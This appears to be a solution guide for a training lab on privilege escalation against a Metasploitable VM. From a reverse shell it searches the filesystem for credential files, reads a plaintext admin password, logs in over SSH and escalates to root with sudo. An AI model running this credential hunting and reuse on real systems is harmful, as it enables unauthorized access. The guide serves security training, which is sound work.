



Solution Guide: Privilege Escalation

You started with a low-privileged shell as the daemon user on the remote host. You needed to perform some post-exploitation tasks to do proper enumeration, which could lead to privilege escalation. MegaCorpOne is concerned that administrators are saving passwords in plain text on machines.

Instructions

While operating through the reverse shell in Metasploit, use `grep` or `find` to search for any interesting files. Some keywords to search for include:

- admin
- key
- password
- secret

If you come across anything interesting that could be used for privilege escalation, perform the necessary actions to escalate your privileges from daemon to another user!

1. Use the `find` command (`find / -type f -iname "*admin*.txt"`), as the following image shows:

```
find / -type f -iname "*admin*.txt"
find: /root/.gconfd: Permission denied
find: /root/.vnc: Permission denied
find: /root/.filezilla: Permission denied
find: /root/.config: Permission denied
find: /root/.mozilla: Permission denied
find: /root/.purple: Permission denied
find: /root/.gconf: Permission denied
find: /etc/unreal: Permission denied
find: /etc/ssl/private: Permission denied
find: /etc/tomcat5.5: Permission denied
find: /etc/chatscripts: Permission denied
find: /etc/ppp/peers: Permission denied
find: /etc/lvm/archive: Permission denied
find: /etc/lvm/cache: Permission denied
find: /etc/lvm/backup: Permission denied
find: /usr/lib/mozilla: Permission denied
find: /lost+found: Permission denied
find: /home/user/.ssh: Permission denied
find: /home/msfadmin/vulnerable/mysql-ssl/mysql-keys: Permission denied
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/TWiki/TWikiAdminCookBook.txt
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/TWiki/AdminSkillsAssumptions.txt
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/Main/TWikiAdminGroup.txt
find: /home/msfadmin/.ssh: Permission denied
find: /var/lib/php5: Permission denied
find: /var/lib/postgresql/8.3/main: Permission denied
find: /var/lib/mysql/dvwa: Permission denied
find: /var/lib/mysql/metasploit: Permission denied
find: /var/lib/mysql/tikiwiki195: Permission denied
find: /var/lib/mysql/tikiwiki: Permission denied
find: /var/lib/mysql/owasp10: Permission denied
find: /var/cache/tomcat5.5: Permission denied
find: /var/cache/ldconfig: Permission denied
find: /var/spool/cron/crontabs: Permission denied
find: /var/spool/postfix/hold: Permission denied
find: /var/spool/postfix/saved: Permission denied
find: /var/spool/postfix/corrupt: Permission denied
find: /var/spool/postfix/maildrop: Permission denied
find: /var/spool/postfix/private: Permission denied
find: /var/spool/postfix/flush: Permission denied
find: /var/spool/postfix/trace: Permission denied
find: /var/spool/postfix/active: Permission denied
find: /var/spool/postfix/incoming: Permission denied
find: /var/spool/postfix/deferred: Permission denied
find: /var/spool/postfix/defer: Permission denied
find: /var/spool/postfix/bounce: Permission denied
find: /var/spool/postfix/public: Permission denied
/var/www/twiki/data/TWiki/TWikiAdminCookBook.txt
/var/www/twiki/data/TWiki/AdminSkillsAssumptions.txt
/var/www/twiki/data/Main/TWikiAdminGroup.txt
find: /var/www/tikiwiki/templates_c/en: Permission denied
find: /var/www/tikiwiki/templates_c/enmenu42: Permission denied
find: /var/run/sudo: Permission denied
/var/tmp/adminpassword.txt
```

2. Run `cat /var/tmp/adminpassword.txt`, as the following image shows:

```
cat /var/tmp/adminpassword.txt
Jim,

These are the admin credentials, do not share with anyone!

msfadmin:cybersecurity
```

3. In a new terminal, run `ssh msfadmin@172.22.117.150`, as the following image shows:

```
(root@kali)-[~]
# ssh msfadmin@172.22.117.150
The authenticity of host '172.22.117.150 (172.22.117.150)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.22.117.150' (RSA) to the list of known hosts.

msfadmin@172.22.117.150's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Thu Jan 13 14:57:37 2022
msfadmin@metasploitable:~$
```

Bonus: While logged in as msfadmin, you can escalate to root.

- `sudo su -`